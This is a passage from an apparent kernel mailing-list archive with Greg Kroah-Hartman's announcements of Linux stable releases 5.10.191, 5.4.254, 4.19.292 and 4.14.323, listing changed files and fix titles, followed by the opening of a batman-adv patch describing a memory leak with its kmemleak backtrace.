drm/shmem-helper: Reset vma->vm_ops before calling dma_buf_mmap()
Christoph Hellwig (1):
btrfs: don't stop integrity writeback too early
Christophe JAILLET (1):
dmaengine: mcf-edma: Fix a potential un-allocated memory access
Colin Ian King (1):
radix tree test suite: fix incorrect allocation size for pthreads
Cristian Ciocaltea (1):
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Daniel Jurgens (1):
net/mlx5: Allow 0 for total host VFs
Daniel Stone (1):
drm/rockchip: Don't spam logs in atomic check
Douglas Miller (1):
IB/hfi1: Fix possible panic during hotplug remove
Elson Roy Serrao (1):
usb: dwc3: Properly handle processing of pending events
Eric Dumazet (3):
net/packet: annotate data-races around tp->status
dccp: fix data-race around dp->dccps_mss_cache
sch_netem: fix issues in netem_change() vs get_dist_table()
Felix Fietkau (1):
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Florian Westphal (1):
tunnels: fix kasan splat when generating ipv4 pmtu error
Frederic Weisbecker (2):
tick: Detect and fix jiffies update stall
timers/nohz: Last resort update jiffies on nohz_full IRQ entry
Greg Kroah-Hartman (1):
Linux 5.15.127
Ido Schimmel (9):
selftests: forwarding: Add a helper to skip test when using veth pairs
selftests: forwarding: ethtool: Skip when using veth pairs
selftests: forwarding: ethtool_extended_state: Skip when using veth pairs
selftests: forwarding: Skip test when no interfaces are specified
selftests: forwarding: Switch off timeout
selftests: forwarding: tc_flower: Relax success criterion
nexthop: Fix infinite nexthop dump when using maximum nexthop ID
nexthop: Make nexthop bucket dump more efficient
nexthop: Fix infinite nexthop bucket dump when using maximum nexthop ID
Ilpo Järvinen (1):
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Ilya Leoshkevich (1):
selftests/bpf: Fix sk_assign on s390x
Jason A. Donenfeld (1):
wireguard: allowedips: expand maximum node depth
Jie Wang (2):
net: hns3: refactor hclge_mac_link_status_wait for interface reuse
net: hns3: add wait until mac link down
Josef Bacik (1):
btrfs: set cache_block_group_error if we find an error
Karan Tilak Kumar (1):
scsi: fnic: Replace return codes in fnic_clean_pending_aborts()
Karol Herbst (2):
drm/nouveau/gr: enable memory loads on helper invocation on all channels
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Kirill A. Shutemov (1):
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Li Yang (1):
net: phy: at803x: remove set/get wol callbacks for AR8032
Long Li (1):
ksmbd: validate command request size
Maciej Żenczykowski (1):
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Magnus Karlsson (1):
xsk: fix refcount underflow in error path
Mark Brown (1):
selftests/rseq: Fix build with undefined __weak
Masahiro Yamada (1):
alpha: remove __init annotation from exported page_is_ram()
Melissa Wen (1):
drm/amd/display: check attr flag before set cursor degamma on DCN3+
Michael Guralnik (1):
RDMA/umem: Set iova in ODP flow
Michael Kelley (1):
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Ming Lei (2):
nvme-tcp: fix potential unbalanced freeze & unfreeze
nvme-rdma: fix potential unbalanced freeze & unfreeze
Moshe Shemesh (1):
net/mlx5: Skip clock update work when device is in error state
Namjae Jeon (1):
ksmbd: fix wrong next length validation of ea buffer in smb2_set_ea()
Nathan Chancellor (1):
mISDN: Update parameter type of dsp_cmx_send()
Nicholas Piggin (1):
timers/nohz: Switch to ONESHOT_STOPPED in the low-res handler when the tick is stopped
Nick Child (3):
ibmvnic: Enforce stronger sanity checks on login response
ibmvnic: Unmap DMA login rsp buffer on send login fail
ibmvnic: Handle DMA unmapping of login buffs in release functions
Nick Desaulniers (1):
x86/srso: Fix build breakage with the LLVM linker
Nilesh Javali (2):
scsi: qedi: Fix firmware halt over suspend and resume
scsi: qedf: Fix firmware halt over suspend and resume
Pablo Neira Ayuso (1):
netfilter: nf_tables: report use refcount overflow
Piotr Gardocki (1):
iavf: fix potential races for FDIR filters
Prashanth K (1):
usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
Qi Zheng (1):
binder: fix memory leak in binder_init()
Qu Wenruo (2):
btrfs: exit gracefully if reloc roots don't match
btrfs: reject invalid reloc tree root keys with stack dump
Ricky WU (1):
misc: rtsx: judge ASPM Mode to set PETXCFG Reg
Ryusuke Konishi (1):
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Sergei Antonov (1):
mmc: moxart: read scr register without changing byte order
Tao Ren (1):
hwmon: (pmbus/bel-pfe) Enable PMBUS_SKIP_STATUS_CHECK for pfe1100
Tony Battersby (1):
scsi: core: Fix legacy /proc parsing buffer overflow
Xu Kuohai (2):
bpf, sockmap: Fix map type error in sock_map_del_link
bpf, sockmap: Fix bug that strp_done cannot be called
Yiyuan Guo (1):
iio: cros_ec: Fix the allocation size for cros_ec_command
Yonghong Song (1):
selftests/bpf: Workaround verification failure for fexit_bpf2bpf/func_replace_return_code
Zhu Wang (2):
scsi: snic: Fix possible memory leak if device_add() fails
scsi: core: Fix possible memory leak if device_add() fails
Ziyang Xuan (1):
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
2 years, 4 months
- 1
- 1
Linux 5.10.191
by Greg Kroah-Hartman
I'm announcing the release of the 5.10.191 kernel.
All users of the 5.10 kernel series must upgrade.
The updated 5.10.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-5.10.y
and can be browsed at the normal kernel.org git web browser:
https://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary
thanks,
greg k-h
------------
Makefile | 2
arch/alpha/kernel/setup.c | 3
arch/riscv/include/asm/mmio.h | 16
arch/x86/entry/vdso/vma.c | 4
arch/x86/include/asm/processor.h | 2
arch/x86/kernel/cpu/amd.c | 1
arch/x86/kernel/cpu/common.c | 5
arch/x86/kernel/vmlinux.lds.S | 12
arch/x86/kvm/x86.c | 2
arch/x86/mm/pkeys.c | 6
drivers/android/binder.c | 1
drivers/android/binder_alloc.c | 6
drivers/android/binder_alloc.h | 1
drivers/dma/mcf-edma.c | 13
drivers/dma/pl330.c | 18 -
drivers/gpu/drm/amd/display/dc/dcn30/dcn30_dpp.c | 7
drivers/gpu/drm/drm_gem_shmem_helper.c | 6
drivers/gpu/drm/nouveau/nouveau_connector.c | 2
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1
drivers/hwmon/pmbus/bel-pfe.c | 16
drivers/iio/common/cros_ec_sensors/cros_ec_sensors_core.c | 2
drivers/infiniband/hw/hfi1/chip.c | 1
drivers/isdn/mISDN/dsp.h | 2
drivers/isdn/mISDN/dsp_cmx.c | 2
drivers/isdn/mISDN/dsp_core.c | 2
drivers/mmc/host/moxart-mmc.c | 8
drivers/net/bonding/bond_main.c | 4
drivers/net/ethernet/hisilicon/hns3/hns3pf/hclge_main.c | 24 +
drivers/net/ethernet/ibm/ibmvnic.c | 38 +-
drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 3
drivers/net/phy/at803x.c | 2
drivers/net/tun.c | 2
drivers/net/wireguard/allowedips.c | 8
drivers/net/wireguard/selftest/allowedips.c | 16
drivers/nvme/host/rdma.c | 3
drivers/nvme/host/tcp.c | 3
drivers/scsi/53c700.c | 2
drivers/scsi/qedf/qedf_main.c | 18 +
drivers/scsi/qedi/qedi_main.c | 18 +
drivers/scsi/raid_class.c | 1
drivers/scsi/scsi_proc.c | 30 -
drivers/scsi/snic/snic_disc.c | 1
drivers/scsi/storvsc_drv.c | 4
drivers/usb/common/usb-conn-gpio.c | 6
drivers/usb/dwc3/gadget.c | 9
drivers/usb/storage/alauda.c | 12
fs/btrfs/extent-tree.c | 5
fs/btrfs/extent_io.c | 7
fs/nilfs2/inode.c | 8
fs/nilfs2/segment.c | 2
fs/nilfs2/the_nilfs.h | 2
include/linux/cpu.h | 2
include/net/cfg80211.h | 3
include/net/netfilter/nf_tables.h | 31 +
io_uring/io_uring.c | 6
kernel/bpf/verifier.c | 175 +++++++++-
net/dccp/output.c | 2
net/dccp/proto.c | 10
net/ipv4/ip_tunnel_core.c | 2
net/ipv6/ndisc.c | 3
net/netfilter/nf_tables_api.c | 171 ++++++---
net/netfilter/nft_flow_offload.c | 6
net/netfilter/nft_immediate.c | 8
net/netfilter/nft_objref.c | 8
net/packet/af_packet.c | 16
net/sched/sch_netem.c | 59 +--
tools/testing/radix-tree/regression1.c | 2
tools/testing/selftests/bpf/prog_tests/align.c | 36 +-
tools/testing/selftests/bpf/prog_tests/sk_assign.c | 25 +
tools/testing/selftests/bpf/progs/connect4_prog.c | 2
tools/testing/selftests/bpf/progs/test_sk_assign.c | 11
tools/testing/selftests/bpf/progs/test_sk_assign_libbpf.c | 3
tools/testing/selftests/net/forwarding/ethtool.sh | 2
tools/testing/selftests/net/forwarding/ethtool_extended_state.sh | 2
tools/testing/selftests/net/forwarding/lib.sh | 16
tools/testing/selftests/net/forwarding/settings | 1
tools/testing/selftests/net/forwarding/tc_flower.sh | 8
tools/testing/selftests/rseq/Makefile | 4
tools/testing/selftests/rseq/rseq.c | 2
84 files changed, 720 insertions(+), 282 deletions(-)
Alan Stern (1):
usb-storage: alauda: Fix uninit-value in alauda_check_media()
Aleksa Sarai (1):
io_uring: correct check for O_TMPFILE
Alexandra Diupina (1):
scsi: 53c700: Check that command slot is not NULL
Andrea Parri (1):
riscv,mmio: Fix readX()-to-delay() ordering
Andrew Kanner (1):
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Andrii Nakryiko (4):
bpf: allow precision tracking for programs with subprogs
bpf: stop setting precise in current state
bpf: aggressively forget precise markings during state checkpointing
selftests/bpf: make test_align selftest more robust
Arnd Bergmann (2):
x86/speculation: Add cpu_show_gds() prototype
x86: Move gds_ucode_mitigated() declaration to header
Boris Brezillon (1):
drm/shmem-helper: Reset vma->vm_ops before calling dma_buf_mmap()
Christoph Hellwig (1):
btrfs: don't stop integrity writeback too early
Christophe JAILLET (1):
dmaengine: mcf-edma: Fix a potential un-allocated memory access
Colin Ian King (1):
radix tree test suite: fix incorrect allocation size for pthreads
Cristian Ciocaltea (1):
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Daniel Jurgens (1):
net/mlx5: Allow 0 for total host VFs
Douglas Miller (1):
IB/hfi1: Fix possible panic during hotplug remove
Elson Roy Serrao (1):
usb: dwc3: Properly handle processing of pending events
Eric Dumazet (3):
net/packet: annotate data-races around tp->status
dccp: fix data-race around dp->dccps_mss_cache
sch_netem: fix issues in netem_change() vs get_dist_table()
Felix Fietkau (1):
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Florian Westphal (1):
tunnels: fix kasan splat when generating ipv4 pmtu error
Greg Kroah-Hartman (1):
Linux 5.10.191
Ido Schimmel (6):
selftests: forwarding: Add a helper to skip test when using veth pairs
selftests: forwarding: ethtool: Skip when using veth pairs
selftests: forwarding: ethtool_extended_state: Skip when using veth pairs
selftests: forwarding: Skip test when no interfaces are specified
selftests: forwarding: Switch off timeout
selftests: forwarding: tc_flower: Relax success criterion
Ilpo Järvinen (1):
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Ilya Leoshkevich (1):
selftests/bpf: Fix sk_assign on s390x
Jason A. Donenfeld (1):
wireguard: allowedips: expand maximum node depth
Jie Wang (2):
net: hns3: refactor hclge_mac_link_status_wait for interface reuse
net: hns3: add wait until mac link down
Josef Bacik (1):
btrfs: set cache_block_group_error if we find an error
Karol Herbst (2):
drm/nouveau/gr: enable memory loads on helper invocation on all channels
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Kirill A. Shutemov (1):
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Li Yang (1):
net: phy: at803x: remove set/get wol callbacks for AR8032
Maciej Żenczykowski (1):
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Mark Brown (1):
selftests/rseq: Fix build with undefined __weak
Masahiro Yamada (1):
alpha: remove __init annotation from exported page_is_ram()
Melissa Wen (1):
drm/amd/display: check attr flag before set cursor degamma on DCN3+
Michael Kelley (1):
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Ming Lei (2):
nvme-tcp: fix potential unbalanced freeze & unfreeze
nvme-rdma: fix potential unbalanced freeze & unfreeze
Nathan Chancellor (1):
mISDN: Update parameter type of dsp_cmx_send()
Nick Child (3):
ibmvnic: Enforce stronger sanity checks on login response
ibmvnic: Unmap DMA login rsp buffer on send login fail
ibmvnic: Handle DMA unmapping of login buffs in release functions
Nick Desaulniers (1):
x86/srso: Fix build breakage with the LLVM linker
Nilesh Javali (2):
scsi: qedi: Fix firmware halt over suspend and resume
scsi: qedf: Fix firmware halt over suspend and resume
Pablo Neira Ayuso (1):
netfilter: nf_tables: report use refcount overflow
Prashanth K (1):
usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
Qi Zheng (1):
binder: fix memory leak in binder_init()
Ryusuke Konishi (1):
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Sergei Antonov (1):
mmc: moxart: read scr register without changing byte order
Tao Ren (1):
hwmon: (pmbus/bel-pfe) Enable PMBUS_SKIP_STATUS_CHECK for pfe1100
Thomas Gleixner (1):
x86/pkeys: Revert a5eff7259790 ("x86/pkeys: Add PKRU value to init_fpstate")
Tony Battersby (1):
scsi: core: Fix legacy /proc parsing buffer overflow
Yiyuan Guo (1):
iio: cros_ec: Fix the allocation size for cros_ec_command
Yonghong Song (1):
selftests/bpf: Workaround verification failure for fexit_bpf2bpf/func_replace_return_code
Zhu Wang (2):
scsi: snic: Fix possible memory leak if device_add() fails
scsi: core: Fix possible memory leak if device_add() fails
Ziyang Xuan (1):
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
2 years, 4 months
- 1
- 1
Linux 5.4.254
by Greg Kroah-Hartman
I'm announcing the release of the 5.4.254 kernel.
All users of the 5.4 kernel series must upgrade.
The updated 5.4.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-5.4.y
and can be browsed at the normal kernel.org git web browser:
https://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary
thanks,
greg k-h
------------
Makefile | 2
arch/alpha/kernel/setup.c | 3
arch/x86/entry/vdso/vma.c | 4
arch/x86/include/asm/processor.h | 2
arch/x86/kernel/cpu/amd.c | 1
arch/x86/kernel/cpu/common.c | 5
arch/x86/kvm/x86.c | 2
arch/x86/mm/pkeys.c | 6
drivers/android/binder.c | 1
drivers/android/binder_alloc.c | 6
drivers/android/binder_alloc.h | 1
drivers/dma/mcf-edma.c | 13 -
drivers/dma/pl330.c | 18 +
drivers/gpu/drm/nouveau/nouveau_connector.c | 2
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1
drivers/iio/common/cros_ec_sensors/cros_ec_sensors_core.c | 2
drivers/infiniband/hw/hfi1/chip.c | 1
drivers/isdn/mISDN/dsp.h | 2
drivers/isdn/mISDN/dsp_cmx.c | 2
drivers/isdn/mISDN/dsp_core.c | 2
drivers/mmc/host/moxart-mmc.c | 8
drivers/net/bonding/bond_main.c | 4
drivers/net/ethernet/ibm/ibmvnic.c | 15 -
drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 3
drivers/net/tun.c | 2
drivers/nvme/host/rdma.c | 3
drivers/nvme/host/tcp.c | 3
drivers/scsi/53c700.c | 2
drivers/scsi/raid_class.c | 1
drivers/scsi/scsi_proc.c | 30 +-
drivers/scsi/snic/snic_disc.c | 1
drivers/scsi/storvsc_drv.c | 4
drivers/usb/common/usb-conn-gpio.c | 6
drivers/usb/dwc3/gadget.c | 9
drivers/usb/storage/alauda.c | 9
fs/btrfs/extent-tree.c | 5
fs/btrfs/extent_io.c | 7
fs/nilfs2/inode.c | 8
fs/nilfs2/segment.c | 2
fs/nilfs2/the_nilfs.h | 2
include/net/cfg80211.h | 3
include/net/netfilter/nf_tables.h | 31 ++
net/dccp/output.c | 2
net/dccp/proto.c | 10
net/ipv6/ndisc.c | 3
net/netfilter/nf_tables_api.c | 166 ++++++++------
net/netfilter/nft_flow_offload.c | 6
net/netfilter/nft_objref.c | 8
net/packet/af_packet.c | 16 -
net/sched/sch_netem.c | 59 ++--
tools/testing/radix-tree/regression1.c | 2
tools/testing/selftests/rseq/Makefile | 4
tools/testing/selftests/rseq/rseq.c | 2
58 files changed, 336 insertions(+), 193 deletions(-)
Alan Stern (1):
usb-storage: alauda: Fix uninit-value in alauda_check_media()
Alexandra Diupina (1):
scsi: 53c700: Check that command slot is not NULL
Andrew Kanner (1):
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Arnd Bergmann (1):
x86: Move gds_ucode_mitigated() declaration to header
Christoph Hellwig (1):
btrfs: don't stop integrity writeback too early
Christophe JAILLET (1):
dmaengine: mcf-edma: Fix a potential un-allocated memory access
Colin Ian King (1):
radix tree test suite: fix incorrect allocation size for pthreads
Cristian Ciocaltea (1):
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Daniel Jurgens (1):
net/mlx5: Allow 0 for total host VFs
Douglas Miller (1):
IB/hfi1: Fix possible panic during hotplug remove
Elson Roy Serrao (1):
usb: dwc3: Properly handle processing of pending events
Eric Dumazet (3):
net/packet: annotate data-races around tp->status
dccp: fix data-race around dp->dccps_mss_cache
sch_netem: fix issues in netem_change() vs get_dist_table()
Felix Fietkau (1):
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Greg Kroah-Hartman (1):
Linux 5.4.254
Ilpo Järvinen (1):
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Josef Bacik (1):
btrfs: set cache_block_group_error if we find an error
Karol Herbst (2):
drm/nouveau/gr: enable memory loads on helper invocation on all channels
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Kirill A. Shutemov (1):
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Maciej Żenczykowski (1):
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Mark Brown (1):
selftests/rseq: Fix build with undefined __weak
Masahiro Yamada (1):
alpha: remove __init annotation from exported page_is_ram()
Michael Kelley (1):
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Ming Lei (2):
nvme-tcp: fix potential unbalanced freeze & unfreeze
nvme-rdma: fix potential unbalanced freeze & unfreeze
Nathan Chancellor (1):
mISDN: Update parameter type of dsp_cmx_send()
Nick Child (1):
ibmvnic: Handle DMA unmapping of login buffs in release functions
Pablo Neira Ayuso (1):
netfilter: nf_tables: report use refcount overflow
Prashanth K (1):
usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
Qi Zheng (1):
binder: fix memory leak in binder_init()
Ryusuke Konishi (1):
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Sergei Antonov (1):
mmc: moxart: read scr register without changing byte order
Thomas Gleixner (1):
x86/pkeys: Revert a5eff7259790 ("x86/pkeys: Add PKRU value to init_fpstate")
Tony Battersby (1):
scsi: core: Fix legacy /proc parsing buffer overflow
Yiyuan Guo (1):
iio: cros_ec: Fix the allocation size for cros_ec_command
Zhu Wang (2):
scsi: snic: Fix possible memory leak if device_add() fails
scsi: core: Fix possible memory leak if device_add() fails
Ziyang Xuan (1):
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
2 years, 4 months
- 1
- 1
Linux 4.19.292
by Greg Kroah-Hartman
I'm announcing the release of the 4.19.292 kernel.
All users of the 4.19 kernel series must upgrade.
The updated 4.19.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-4.19.y
and can be browsed at the normal kernel.org git web browser:
https://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary
thanks,
greg k-h
------------
Makefile | 2
arch/alpha/kernel/setup.c | 3
arch/sparc/Kconfig | 2
arch/x86/entry/vdso/vma.c | 4
arch/x86/include/asm/processor.h | 2
arch/x86/kernel/cpu/amd.c | 1
arch/x86/kvm/x86.c | 2
drivers/android/binder.c | 1
drivers/android/binder_alloc.c | 6
drivers/android/binder_alloc.h | 1
drivers/dma/pl330.c | 18 +
drivers/gpu/drm/nouveau/nouveau_connector.c | 2
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1
drivers/iio/common/cros_ec_sensors/cros_ec_sensors_core.c | 2
drivers/infiniband/hw/hfi1/chip.c | 1
drivers/isdn/mISDN/dsp.h | 2
drivers/isdn/mISDN/dsp_cmx.c | 2
drivers/isdn/mISDN/dsp_core.c | 2
drivers/mmc/host/moxart-mmc.c | 8
drivers/net/bonding/bond_main.c | 4
drivers/net/ethernet/ibm/ibmvnic.c | 15 -
drivers/net/tun.c | 2
drivers/scsi/53c700.c | 2
drivers/scsi/raid_class.c | 1
drivers/scsi/scsi_proc.c | 30 +-
drivers/scsi/snic/snic_disc.c | 1
drivers/scsi/storvsc_drv.c | 4
drivers/usb/dwc3/gadget.c | 9
drivers/usb/storage/alauda.c | 9
fs/btrfs/extent_io.c | 7
fs/nilfs2/inode.c | 8
fs/nilfs2/segment.c | 2
fs/nilfs2/the_nilfs.h | 2
include/net/cfg80211.h | 3
include/net/netfilter/nf_tables.h | 35 ++
net/dccp/output.c | 2
net/dccp/proto.c | 10
net/ipv6/ndisc.c | 3
net/netfilter/nf_tables_api.c | 180 +++++++++-----
net/netfilter/nft_flow_offload.c | 23 +
net/netfilter/nft_objref.c | 8
net/packet/af_packet.c | 16 -
net/sched/sch_netem.c | 59 +---
tools/testing/radix-tree/regression1.c | 2
49 files changed, 348 insertions(+), 168 deletions(-)
Alan Stern (1):
usb-storage: alauda: Fix uninit-value in alauda_check_media()
Alexandra Diupina (1):
scsi: 53c700: Check that command slot is not NULL
Andrew Kanner (1):
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Arnd Bergmann (1):
x86: Move gds_ucode_mitigated() declaration to header
Christoph Hellwig (1):
btrfs: don't stop integrity writeback too early
Colin Ian King (1):
radix tree test suite: fix incorrect allocation size for pthreads
Cristian Ciocaltea (1):
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Douglas Miller (1):
IB/hfi1: Fix possible panic during hotplug remove
Elson Roy Serrao (1):
usb: dwc3: Properly handle processing of pending events
Eric Dumazet (3):
net/packet: annotate data-races around tp->status
dccp: fix data-race around dp->dccps_mss_cache
sch_netem: fix issues in netem_change() vs get_dist_table()
Felix Fietkau (1):
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Greg Kroah-Hartman (2):
sparc: fix up arch_cpu_finalize_init() build breakage.
Linux 4.19.292
Ilpo Järvinen (1):
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Karol Herbst (2):
drm/nouveau/gr: enable memory loads on helper invocation on all channels
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Kirill A. Shutemov (1):
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Maciej Żenczykowski (1):
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Masahiro Yamada (1):
alpha: remove __init annotation from exported page_is_ram()
Michael Kelley (1):
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Nathan Chancellor (1):
mISDN: Update parameter type of dsp_cmx_send()
Nick Child (1):
ibmvnic: Handle DMA unmapping of login buffs in release functions
Pablo Neira Ayuso (2):
netfilter: nf_tables: bogus EBUSY when deleting flowtable after flush
netfilter: nf_tables: report use refcount overflow
Qi Zheng (1):
binder: fix memory leak in binder_init()
Ryusuke Konishi (1):
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Sergei Antonov (1):
mmc: moxart: read scr register without changing byte order
Tony Battersby (1):
scsi: core: Fix legacy /proc parsing buffer overflow
Yiyuan Guo (1):
iio: cros_ec: Fix the allocation size for cros_ec_command
Zhu Wang (2):
scsi: snic: Fix possible memory leak if device_add() fails
scsi: core: Fix possible memory leak if device_add() fails
Ziyang Xuan (1):
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
2 years, 4 months
- 1
- 1
Linux 4.14.323
by Greg Kroah-Hartman
I'm announcing the release of the 4.14.323 kernel.
All users of the 4.14 kernel series must upgrade.
The updated 4.14.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-4.14.y
and can be browsed at the normal kernel.org git web browser:
https://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary
thanks,
greg k-h
------------
Makefile | 2
arch/alpha/kernel/setup.c | 3
arch/sparc/Kconfig | 2
arch/x86/entry/vdso/vma.c | 4
arch/x86/include/asm/processor.h | 2
arch/x86/kvm/x86.c | 2
drivers/dma/pl330.c | 18 +
drivers/gpu/drm/nouveau/nouveau_connector.c | 2
drivers/iio/common/cros_ec_sensors/cros_ec_sensors_core.c | 2
drivers/infiniband/hw/hfi1/chip.c | 1
drivers/mmc/host/moxart-mmc.c | 8
drivers/net/bonding/bond_main.c | 4
drivers/net/tun.c | 2
drivers/scsi/53c700.c | 2
drivers/scsi/raid_class.c | 1
drivers/scsi/scsi_proc.c | 30 +-
drivers/scsi/snic/snic_disc.c | 1
drivers/scsi/storvsc_drv.c | 4
drivers/usb/dwc3/gadget.c | 9
drivers/usb/storage/alauda.c | 9
fs/btrfs/extent_io.c | 7
fs/nilfs2/inode.c | 8
fs/nilfs2/segment.c | 2
fs/nilfs2/the_nilfs.h | 2
include/net/netfilter/nf_tables.h | 27 ++
lib/test_firmware.c | 8
net/dccp/output.c | 2
net/dccp/proto.c | 10
net/ipv6/ndisc.c | 3
net/netfilter/nf_tables_api.c | 143 ++++++++------
net/netfilter/nft_objref.c | 8
net/packet/af_packet.c | 16 -
tools/testing/radix-tree/regression1.c | 2
33 files changed, 227 insertions(+), 119 deletions(-)
Alan Stern (1):
usb-storage: alauda: Fix uninit-value in alauda_check_media()
Alexandra Diupina (1):
scsi: 53c700: Check that command slot is not NULL
Andrew Kanner (1):
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Arnd Bergmann (1):
x86: Move gds_ucode_mitigated() declaration to header
Christoph Hellwig (1):
btrfs: don't stop integrity writeback too early
Colin Ian King (1):
radix tree test suite: fix incorrect allocation size for pthreads
Douglas Miller (1):
IB/hfi1: Fix possible panic during hotplug remove
Elson Roy Serrao (1):
usb: dwc3: Properly handle processing of pending events
Eric Dumazet (2):
net/packet: annotate data-races around tp->status
dccp: fix data-race around dp->dccps_mss_cache
Greg Kroah-Hartman (2):
sparc: fix up arch_cpu_finalize_init() build breakage.
Linux 4.14.323
Ilpo Järvinen (1):
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Karol Herbst (1):
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Kirill A. Shutemov (1):
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Maciej Żenczykowski (1):
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Masahiro Yamada (1):
alpha: remove __init annotation from exported page_is_ram()
Michael Kelley (1):
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Mirsad Goran Todorovac (1):
test_firmware: return ENOMEM instead of ENOSPC on failed memory allocation
Pablo Neira Ayuso (1):
netfilter: nf_tables: report use refcount overflow
Ryusuke Konishi (1):
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Sergei Antonov (1):
mmc: moxart: read scr register without changing byte order
Tony Battersby (1):
scsi: core: Fix legacy /proc parsing buffer overflow
Yiyuan Guo (1):
iio: cros_ec: Fix the allocation size for cros_ec_command
Zhu Wang (2):
scsi: snic: Fix possible memory leak if device_add() fails
scsi: core: Fix possible memory leak if device_add() fails
Ziyang Xuan (1):
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
2 years, 4 months
- 1
- 1
[PATCH 5/5] batman-adv: Fix batadv_v_ogm_aggr_send memory leak
by Simon Wunderlich
From: Remi Pommarel <repk(a)triplefau.lt>
When batadv_v_ogm_aggr_send is called for an inactive interface, the skb
is silently dropped by batadv_v_ogm_send_to_if() but never freed causing
the following memory leak:
unreferenced object 0xffff00000c164800 (size 512):
comm "kworker/u8:1", pid 2648, jiffies 4295122303 (age 97.656s)
hex dump (first 32 bytes):
00 80 af 09 00 00 ff ff e1 09 00 00 75 01 60 83 ............u.`.
1f 00 00 00 b8 00 00 00 15 00 05 00 da e3 d3 64 ...............d
backtrace:
[<0000000007ad20f6>] __kmalloc_track_caller+0x1a8/0x310
[<00000000d1029e55>] kmalloc_reserve.constprop.0+0x70/0x13c
[<000000008b9d4183>] __alloc_skb+0xec/0x1fc
[<00000000c7af5051>] __netdev_alloc_skb+0x48/0x23c
[<00000000642ee5f5>] batadv_v_ogm_aggr_send+0x50/0x36c
[<0000000088660bd7>] batadv_v_ogm_aggr_work+0x24/0x40
